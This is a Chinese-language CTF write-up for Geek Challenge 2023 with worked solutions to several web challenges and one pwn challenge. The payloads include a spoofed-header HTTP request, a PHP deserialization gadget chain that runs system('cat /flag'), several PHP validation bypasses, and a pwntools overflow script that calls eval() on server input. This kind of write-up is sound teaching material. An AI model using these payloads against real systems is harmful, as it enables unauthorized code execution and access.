Geek Challenge 2023 Writeup

Web

EzHttp

http签到，点击就送flag http://1.117.175.65:23333/

首先访问题目环境，发现需要进行登录。

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />请post传参username和password进行登录<br><br>
<!--密码有点记不住,所以我把密码记在了不想让爬虫获取的地方!-->

访问 robots.txt，发现隐藏目录 /o2takuXX's_username_and_password.txt。得到账号密码：

username:admin
password:@dm1N123456r00t#

登录后只需要修改一系列 Headers 即可。

POST / HTTP/1.1
Referer: sycsec.com
User-Agent: Syclover
X-Forwarded-For: 127.0.0.1
Via: Syc.vip
O2TAKUXX: GiveMeFlag
Accept: */*
Host: 1.117.175.65:23333
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
 
username=admin&password=%40dm1N123456r00t%23

unsign

来签个到吧先

简单的 php 反序列化。

<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo("action!<br>");
        $function=$this->cuit;
        return $function();
    }
}

class lover
{
    public $yxx;
    public $QW;
    public function __invoke()
    {
        echo("invoke!<br>");
        return $this->yxx->QW;
    }

}

class web
{
    public $eva1;
    public $interesting;

    public function __get($var)
    {
        echo("get!<br>");
        $eva1=$this->eva1;
        $eva1($this->interesting);
    }
}

$web = new web;
$web->eva1 = 'system';
$web->interesting = 'cat /flag';
$lover = new lover;
$lover->yxx = $web;
$syc = new syc;
$syc->cuit = $lover;
echo '=='.serialize($syc).'==';

// O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:9:"cat /flag";}s:2:"QW";N;}}

easy_php

学了php了，那就来看看这些绕过吧

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
    if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
        if (isset($_POST['qw']) && $_POST['yxx']) {
            $array1 = (string)$_POST['qw'];
            $array2 = (string)$_POST['yxx'];
            if (sha1($array1) === sha1($array2)) {
                if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                    echo $flag;
                } else {
                    echo "再绕最后一步吧";
                }
            } else {
                echo "好哩，快拿到flag啦";
            }
        } else {
            echo "这里绕不过去，QW可不答应了哈";
        }
    } else {
        echo "嘿嘿嘿，你别急啊";
    }
}else {
    echo "不会吧不会吧，不会第一步就卡住了吧，yxx会瞧不起你的！";
}
?>

最后一步涉及到 php 非法变量名处理的漏洞。正常情况下，POST 参数的变量名中的 . 会被替换为 _，如果直接传入 SYC_GEEK.2023，结果会是 SYC_GEEK_2023。但 php 如果在处理变量名时发送错误，就不会继续往后替换。于是可以选择传入 SYC[GEEK.2023，php 首先识别到第一个非法符号 [，转换为 _ 后便不再继续往后修改，于是后面的 . 不会被替换。

POST /?syc=welcome%20to%20GEEK%202023!&lover=1e4 HTTP/1.1
User-Agent: PostmanRuntime/7.34.0
Accept: */*
Postman-Token: 9d838b87-51d3-4071-8740-aba56f17c660
Host: cbrh82c6znid7hsdjqhhe03ch.node.game.sycsec.com
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
 
qw=true&yxx=true&SYC%5BGEEK.2023=true

Pwn

nc_pwntools

使用 pwntools 根据要求解出题目即可。

from pwn import *

conn = remote("pwn.node.game.sycsec.com", 31839)
conn.recvuntil(b"1.I need a string to fill my heart \n\n")
conn.sendline(b"a" * 92 + b"Syclover")
conn.recvuntil(b"2.This challenge is harder than first one\n")
question = conn.recvline().split(b"=")[0]
conn.sendline(str(eval(question)))
conn.recvuntil("shell!\n\n")

conn.interactive()

# SYC{6HG3fWrKoEadc3nLaj}